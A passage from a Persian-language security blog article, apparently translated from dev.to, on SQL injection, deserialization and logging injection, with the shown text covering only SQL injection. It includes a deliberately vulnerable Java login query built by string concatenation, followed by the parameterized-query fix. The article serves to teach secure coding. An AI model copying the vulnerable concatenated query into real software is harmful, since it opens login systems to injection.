\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0648 \u0627\u062c\u0631\u0627\u06cc \u0627\u0635\u0644\u0627\u062d\u0627\u062a \u062a\u0648\u0635\u06cc\u0647\u200c\u0634\u062f\u0647\u060c \u0645\u0627\u0646\u0646\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u067e\u0631\u0633\u200c\u0648\u200c\u062c\u0648\u0647\u0627\u06cc \u067e\u0627\u0631\u0627\u0645\u062a\u0631\u06cc\u060c \u0627\u062c\u062a\u0646\u0627\u0628 \u0627\u0632 \u0634\u06cc\u0648\u0647\u200c\u0647\u0627\u06cc \u063a\u06cc\u0631\u0627\u06cc\u0645\u0646\u200c\u0632\u062f\u0627\u06cc\u06cc \u0648 \u0627\u06cc\u0645\u0646\u200c\u0633\u0627\u0632\u06cc \u0645\u0646\u0627\u0633\u0628 \u0686\u0627\u0631\u0686\u0648\u0628\u200c\u0647\u0627\u06cc \u06af\u0632\u0627\u0631\u0634\u200c\u06af\u06cc\u0631\u06cc\u060c \u062a\u0648\u0633\u0639\u0647\u200c\u062f\u0647\u0646\u062f\u06af\u0627\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u062e\u0637\u0631 \u0627\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a \u0631\u0627 \u0628\u0647 \u0645\u06cc\u0632\u0627\u0646 \u0642\u0627\u0628\u0644 \u062a\u0648\u062c\u0647\u06cc \u06a9\u0627\u0647\u0634 \u062f\u0647\u0646\u062f.<\/p>\n<p>\u0627\u0642\u062f\u0627\u0645\u0627\u062a \u0627\u0645\u0646\u06cc\u062a\u06cc \u067e\u06cc\u0634\u06af\u06cc\u0631\u0627\u0646\u0647 \u0628\u0631\u0627\u06cc \u0645\u062d\u0627\u0641\u0638\u062a \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0627\u06cc \u0634\u0645\u0627 \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u062a\u0628\u062f\u06cc\u0644 \u0634\u062f\u0646 \u0628\u0647 \u0642\u0631\u0628\u0627\u0646\u06cc \u0628\u0639\u062f\u06cc \u0627\u06cc\u0646 \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0647\u0627\u06cc \u06af\u0633\u062a\u0631\u062f\u0647 \u0648 \u0645\u0636\u0631 \u0636\u0631\u0648\u0631\u06cc \u0627\u0633\u062a.<\/p>\n<p>Sonar \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0631\u0627\u06cc\u06af\u0627\u0646 \u0648 \u0645\u0646\u0628\u0639 \u0628\u0627\u0632 \u0645\u0627\u0646\u0646\u062f SonarLint\u060c SonarQube \u0648 SonarCloud \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u062a\u0645\u0627\u0645 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc\u060c \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0631\u0627\u0647\u200c\u062d\u0644\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u06a9\u0646\u0646\u062f.<\/p>\n<div data-article-id=\"1977348\" id=\"article-body\">\n<p>\u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f9\u060c \u06cc\u06a9 \u0631\u062e\u0646\u0647 \u0645\u0639\u0631\u0648\u0641 \u062f\u0631 \u0628\u0627\u0632\u06cc \u0645\u0639\u0631\u0648\u0641 Fortnite\u060c \u0645\u06cc\u0644\u06cc\u0648\u0646\u200c\u0647\u0627 \u0628\u0627\u0632\u06cc\u06a9\u0646 \u0631\u0627 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062e\u0637\u0631 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f. \u0627\u06cc\u0646 \u062d\u0627\u062f\u062b\u0647 \u0627\u0647\u0645\u06cc\u062a \u0627\u06cc\u0645\u0646 \u0633\u0627\u0632\u06cc \u0635\u062d\u06cc\u062d \u067e\u0627\u06cc\u06af\u0627\u0647 \u0647\u0627\u06cc \u062f\u0627\u062f\u0647 SQL \u0631\u0627 \u0628\u0631\u062c\u0633\u062a\u0647 \u06a9\u0631\u062f.<\/p>\n<p><strong>\u0627\u0645\u0627 \u0627\u06cc\u0646 \u06cc\u06a9 \u0645\u0648\u0636\u0648\u0639 \u0645\u0646\u0641\u0631\u062f \u0646\u06cc\u0633\u062a.<\/strong><\/p>\n<p>\u062d\u0645\u0644\u0627\u062a \u0645\u062a\u0639\u062f\u062f\u06cc \u0634\u0627\u0645\u0644 \u062a\u0632\u0631\u06cc\u0642 SQL \u0631\u062e \u062f\u0627\u062f\u0647 \u0627\u0633\u062a\u060c \u0645\u0627\u0646\u0646\u062f \u062d\u0645\u0644\u0647\u200c\u0627\u06cc \u06a9\u0647 \u062a\u0633\u0644\u0627 \u062f\u0631 \u0633\u0627\u0644 2018 \u062a\u062c\u0631\u0628\u0647 \u06a9\u0631\u062f. \u062f\u0631 \u0622\u0646 \u0645\u0648\u0631\u062f\u060c \u06cc\u06a9 \u062d\u0645\u0644\u0647 \u062a\u0632\u0631\u06cc\u0642 SQL \u062f\u06cc\u06af\u0631 \u0628\u0631 \u06a9\u0646\u0633\u0648\u0644 Kubernetes \u062a\u0633\u0644\u0627 \u062a\u0623\u062b\u06cc\u0631 \u06af\u0630\u0627\u0634\u062a \u0648 \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0641\u0639\u0627\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u06a9\u0631\u06cc\u067e\u062a\u0648 \u0628\u0627\u0639\u062b \u062e\u0633\u0627\u0631\u0627\u062a \u0645\u0627\u0644\u06cc \u0634\u062f.<\/p>\n<p><strong>\u0627\u0645\u0627 \u0627\u06cc\u0646 \u0641\u0642\u0637 \u062f\u0631 \u0645\u0648\u0631\u062f SQL Injection \u0646\u06cc\u0633\u062a.<\/strong><\/p>\n<p>\u0628\u0631\u062f\u0627\u0631\u0647\u0627\u06cc \u062d\u0645\u0644\u0647 \u062f\u06cc\u06af\u0631\u06cc \u0646\u06cc\u0632 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f \u06a9\u0647 \u06a9\u062f \u0634\u0645\u0627 \u062f\u0631 \u062d\u0627\u0644 \u062d\u0627\u0636\u0631 \u0627\u0632 \u0622\u0646\u0647\u0627 \u0631\u0646\u062c \u0645\u06cc \u0628\u0631\u062f\u060c \u0647\u0645\u0627\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0634\u0631\u06a9\u062a \u0647\u0627\u06cc \u0628\u0632\u0631\u06af \u062f\u0631 \u06af\u0630\u0634\u062a\u0647 \u0622\u0633\u06cc\u0628 \u062f\u06cc\u062f\u0647 \u0627\u0646\u062f. <\/p>\n<p>\u0647\u0645\u0627\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u0633\u0627\u0644 2021 \u062f\u0631 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647 Log4J \u0628\u0647 \u0646\u0627\u0645 Log4Shell \u06a9\u0647 \u0634\u0627\u0645\u0644 \u06cc\u06a9 \u062d\u0645\u0644\u0647 logging injection \u0628\u0648\u062f \u06a9\u0647 \u062a\u0627 \u0628\u0647 \u0627\u0645\u0631\u0648\u0632 \u0645\u06cc\u0644\u06cc\u0648\u0646 \u0647\u0627 \u0633\u0631\u0648\u0631 \u0631\u0627 \u062f\u0631 \u0633\u0631\u0627\u0633\u0631 \u062c\u0647\u0627\u0646 \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u060c \u06cc\u0627 \u062f\u0631 \u0633\u0627\u0644 2022 \u062f\u0631 Atlassian Jira \u06a9\u0647 \u0634\u0627\u0645\u0644 \u06cc\u06a9 \u062d\u0645\u0644\u0647 deserialization \u0628\u0648\u062f \u06a9\u0647 \u0686\u0646\u062f\u06cc\u0646 \u0646\u0633\u062e\u0647 \u0627\u0632 Jira \u0631\u0627 \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f \u0648 \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u0631\u0627 \u0628\u0647 \u062c\u06cc\u0631\u0627 \u0648\u0627\u06af\u0630\u0627\u0631 \u06a9\u0631\u062f. \u0645\u0647\u0627\u062c\u0645<\/p>\n<p><strong>\u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0628\u0631\u0627\u06cc \u0647\u0631 \u06a9\u0633\u06cc \u0627\u062a\u0641\u0627\u0642 \u0628\u06cc\u0641\u062a\u062f\u060c \u062d\u062a\u06cc \u0628\u0631\u0627\u06cc \u0634\u0645\u0627.<\/strong><\/p>\n<p>\u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647\u060c \u0645\u0646 \u062f\u0631 \u0645\u0648\u0631\u062f 3 \u062d\u0645\u0644\u0647 \u0631\u0627\u06cc\u062c \u062f\u0631 \u06a9\u062f \u0628\u062d\u062b \u062e\u0648\u0627\u0647\u0645 \u06a9\u0631\u062f: \u062a\u0632\u0631\u06cc\u0642 SQL\u060c \u062a\u0632\u0631\u06cc\u0642 Deserialization\u060c \u0648 Logging Injection \u0648 \u0646\u062d\u0648\u0647 \u062d\u0644 \u0622\u0646\u0647\u0627.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_84 counter-hierarchy ez-toc-counter-rtl ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u0641\u0647\u0631\u0633\u062a \u0645\u0637\u0627\u0644\u0628<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/nabfollower.com\/blog\/top-security-flaws-hiding-in-your-code-right-now-and-how-to-fix-them-3id6\/#SQL_Injection\" >SQL Injection<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/nabfollower.com\/blog\/top-security-flaws-hiding-in-your-code-right-now-and-how-to-fix-them-3id6\/#%D8%AA%D8%B2%D8%B1%DB%8C%D9%82_%D8%AF%D8%B3%D8%B1%DB%8C%D8%A7%D9%84%DB%8C%D8%B2%D8%A7%D8%B3%DB%8C%D9%88%D9%86\" >\u062a\u0632\u0631\u06cc\u0642 \u062f\u0633\u0631\u06cc\u0627\u0644\u06cc\u0632\u0627\u0633\u06cc\u0648\u0646<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/nabfollower.com\/blog\/top-security-flaws-hiding-in-your-code-right-now-and-how-to-fix-them-3id6\/#%D8%AA%D8%B2%D8%B1%DB%8C%D9%82_%DA%86%D9%88%D8%A8\" >\u062a\u0632\u0631\u06cc\u0642 \u0686\u0648\u0628<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/nabfollower.com\/blog\/top-security-flaws-hiding-in-your-code-right-now-and-how-to-fix-them-3id6\/#%D9%86%D8%AA%DB%8C%D8%AC%D9%87_%DA%AF%DB%8C%D8%B1%DB%8C\" >\u0646\u062a\u06cc\u062c\u0647 \u06af\u06cc\u0631\u06cc<\/a><\/li><\/ul><\/nav><\/div>\n<h3><span class=\"ez-toc-section\" id=\"SQL_Injection\"><\/span>\n<p>  SQL Injection<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0631\u0627 \u062f\u0631 \u067e\u0627\u06cc\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u062f\u0627\u062f\u0647 \u0630\u062e\u06cc\u0631\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0645\u0639\u0645\u0648\u0644\u0627\u064b \u0627\u0632 \u0645\u0642\u0627\u062f\u06cc\u0631 \u062a\u0648\u0644\u06cc\u062f \u0634\u062f\u0647 \u062a\u0648\u0633\u0637 \u06a9\u0627\u0631\u0628\u0631 \u0628\u0631\u0627\u06cc \u0628\u0631\u0631\u0633\u06cc \u0645\u062c\u0648\u0632\u0647\u0627\u060c \u0630\u062e\u06cc\u0631\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u06cc\u0627 \u0628\u0647 \u0633\u0627\u062f\u06af\u06cc \u0628\u0627\u0632\u06cc\u0627\u0628\u06cc \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0630\u062e\u06cc\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u062c\u062f\u0627\u0648\u0644\u060c \u0627\u0633\u0646\u0627\u062f\u060c \u0646\u0642\u0627\u0637\u060c \u06af\u0631\u0647\u200c\u0647\u0627 \u0648 \u063a\u06cc\u0631\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.<\/p>\n<p>\u062f\u0631 \u0622\u0646 \u0644\u062d\u0638\u0647\u060c \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u0627 \u0627\u0632 \u0627\u06cc\u0646 \u0645\u0642\u0627\u062f\u06cc\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0627\u062f\u0631\u0633\u062a \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc \u0627\u0636\u0627\u0641\u06cc \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\u0647 \u0628\u0647 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0628\u0627\u0632\u06cc\u0627\u0628\u06cc \u0645\u0642\u0627\u062f\u06cc\u0631 \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u06cc\u0627 \u062d\u062a\u06cc \u062a\u063a\u06cc\u06cc\u0631 \u0622\u0646 \u062c\u062f\u0627\u0648\u0644 \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u0645\u0639\u0631\u0641\u06cc \u06a9\u0646\u0646\u062f.<\/p>\n<p>\u06a9\u062f \u0632\u06cc\u0631 \u0628\u0627 \u062f\u0631 \u0646\u0638\u0631 \u06af\u0631\u0641\u062a\u0646 \u0646\u0627\u0645 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0627\u0631\u0627\u0626\u0647 \u0634\u062f\u0647 \u062f\u0631 \u0635\u0641\u062d\u0647 \u0648\u0631\u0648\u062f\u060c \u06a9\u0627\u0631\u0628\u0631 \u0631\u0627 \u0627\u0632 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u0628\u0627\u0632\u06cc\u0627\u0628\u06cc \u0645\u06cc \u06a9\u0646\u062f. \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc \u0631\u0633\u062f \u0647\u0645\u0647 \u0686\u06cc\u0632 \u062e\u0648\u0628 \u0627\u0633\u062a.<\/p>\n<p><\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight java\"><code><span class=\"kd\">public<\/span> <span class=\"nc\">List<\/span> <span class=\"nf\">findUsers<\/span><span class=\"o\">(<\/span><span class=\"nc\">String<\/span> <span class=\"n\">user<\/span><span class=\"o\">,<\/span> <span class=\"nc\">String<\/span> <span class=\"n\">pass<\/span><span class=\"o\">)<\/span> <span class=\"kd\">throws<\/span> <span class=\"nc\">Exception<\/span> <span class=\"o\">{<\/span>\n       <span class=\"nc\">String<\/span> <span class=\"n\">query<\/span> <span class=\"o\">=<\/span> <span class=\"s\">\"SELECT userid FROM users \"<\/span> <span class=\"o\">+<\/span>\n                   <span class=\"s\">\"WHERE username=\"\"<\/span> <span class=\"o\">+<\/span> <span class=\"n\">user<\/span> <span class=\"o\">+<\/span> <span class=\"s\">\"\" AND password='\"<\/span> <span class=\"o\">+<\/span> <span class=\"n\">pass<\/span> <span class=\"o\">+<\/span> <span class=\"s\">\"'\"<\/span><span class=\"o\">;<\/span>\n       <span class=\"nc\">Statement<\/span> <span class=\"n\">statement<\/span> <span class=\"o\">=<\/span> <span class=\"n\">connection<\/span><span class=\"o\">.<\/span><span class=\"na\">createStatement<\/span><span class=\"o\">();<\/span>\n       <span class=\"nc\">ResultSet<\/span> <span class=\"n\">resultSet<\/span> <span class=\"o\">=<\/span> <span class=\"n\">statement<\/span><span class=\"o\">.<\/span><span class=\"na\">executeQuery<\/span><span class=\"o\">(<\/span><span class=\"n\">query<\/span><span class=\"o\">);<\/span>\n       <span class=\"nc\">List<\/span> <span class=\"n\">users<\/span> <span class=\"o\">=<\/span> <span class=\"k\">new<\/span> <span class=\"nc\">ArrayList<\/span><span class=\"o\">();<\/span>\n       <span class=\"k\">while<\/span> <span class=\"o\">(<\/span><span class=\"n\">resultSet<\/span><span class=\"o\">.<\/span><span class=\"na\">next<\/span><span class=\"o\">())<\/span> <span class=\"o\">{<\/span>\n           <span class=\"n\">users<\/span><span class=\"o\">.<\/span><span class=\"na\">add<\/span><span class=\"o\">(<\/span><span class=\"n\">resultSet<\/span><span class=\"o\">.<\/span><span class=\"na\">getString<\/span><span class=\"o\">(<\/span><span class=\"mi\">0<\/span><span class=\"o\">));<\/span>\n       <span class=\"o\">}<\/span>\n       <span class=\"k\">return<\/span> <span class=\"n\">users<\/span><span class=\"o\">;<\/span>\n   <span class=\"o\">}<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u0632 \u062a\u06a9\u0646\u06cc\u06a9\u200c\u0647\u0627\u06cc \u062a\u0632\u0631\u06cc\u0642 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0627\u06cc\u0646 \u06a9\u062f \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062f\u0631\u0648\u0646\u200c\u06cc\u0627\u0628\u06cc \u0631\u0634\u062a\u0647\u200c\u0627\u06cc\u060c \u0646\u062a\u0627\u06cc\u062c \u063a\u06cc\u0631\u0645\u0646\u062a\u0638\u0631\u0647\u200c\u0627\u06cc \u0631\u0627 \u0628\u0647 \u0647\u0645\u0631\u0627\u0647 \u062e\u0648\u0627\u0647\u062f \u062f\u0627\u0634\u062a \u0648 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u0648\u0631\u0648\u062f \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0627 \u0645\u06cc\u200c\u062f\u0647\u062f.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/media.dev.to\/cdn-cgi\/image\/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto\/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F483iz079jkapf8chsgk2.png\" alt=\"\u0648\u0631\u0648\u062f \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645 SQL Injection\" loading=\"lazy\" width=\"300\" height=\"220\" title=\"\"><\/p>\n<p>\u0628\u0631\u0627\u06cc \u0631\u0641\u0639 \u0627\u06cc\u0646 \u0645\u0634\u06a9\u0644\u060c \u0627\u06cc\u0646 \u0631\u0648\u06cc\u06a9\u0631\u062f \u0631\u0627 \u0627\u0632 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0644\u062d\u0627\u0642 \u0631\u0634\u062a\u0647 \u0628\u0647 \u062a\u0632\u0631\u06cc\u0642 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 \u062a\u063a\u06cc\u06cc\u0631 \u0645\u06cc \u062f\u0647\u06cc\u0645. \u062f\u0631 \u0648\u0627\u0642\u0639\u060c \u0627\u0644\u062d\u0627\u0642 \u0631\u0634\u062a\u0647 \u0647\u0627 \u0628\u0647 \u0637\u0648\u0631 \u06a9\u0644\u06cc \u0627\u0632 \u0646\u0638\u0631 \u0639\u0645\u0644\u06a9\u0631\u062f \u0648 \u0627\u0645\u0646\u06cc\u062a \u0627\u06cc\u062f\u0647 \u0628\u062f\u06cc \u0627\u0633\u062a.<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight java\"><code><span class=\"nc\">String<\/span> <span class=\"n\">query<\/span> <span class=\"o\">=<\/span> <span class=\"s\">\"SELECT userid FROM users \"<\/span> <span class=\"o\">+<\/span>\n               <span class=\"s\">\"WHERE username=\"\"<\/span> <span class=\"o\">+<\/span> <span class=\"n\">user<\/span> <span class=\"o\">+<\/span> <span class=\"s\">\"\" AND password='\"<\/span> <span class=\"o\">+<\/span> <span class=\"n\">pass<\/span> <span class=\"o\">+<\/span> <span class=\"s\">\"'\"<\/span><span class=\"o\">;<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u062a\u063a\u06cc\u06cc\u0631 \u062f\u0631\u062c \u0645\u0642\u0627\u062f\u06cc\u0631 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 \u0628\u0647 \u0637\u0648\u0631 \u0645\u0633\u062a\u0642\u06cc\u0645 \u062f\u0631 \u0631\u0634\u062a\u0647 SQL\u060c \u0628\u0647 \u067e\u0627\u0631\u0627\u0645\u062a\u0631\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0639\u062f\u0627\u064b \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0647 \u0622\u0646\u0647\u0627 \u0645\u0631\u0627\u062c\u0639\u0647 \u06a9\u0646\u06cc\u0645\u060c \u0645\u0634\u06a9\u0644 \u067e\u0631\u0633 \u0648 \u062c\u0648\u0647\u0627\u06cc \u0647\u06a9 \u0634\u062f\u0647 \u0631\u0627 \u062d\u0644 \u0645\u06cc \u06a9\u0646\u062f.<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight java\"><code> <span class=\"nc\">String<\/span> <span class=\"n\">query<\/span> <span class=\"o\">=<\/span> <span class=\"s\">\"SELECT userid FROM users WHERE username = ? AND password = ?\"<\/span><span class=\"o\">;<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u06a9\u062f \u062b\u0627\u0628\u062a \u0645\u0627 \u0628\u0627 \u0622\u0645\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u0648 \u062a\u0646\u0638\u06cc\u0645 \u0645\u0642\u062f\u0627\u0631 \u0628\u0631\u0627\u06cc \u0647\u0631 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 \u0628\u0647 \u0627\u06cc\u0646 \u0634\u06a9\u0644 \u062e\u0648\u0627\u0647\u062f 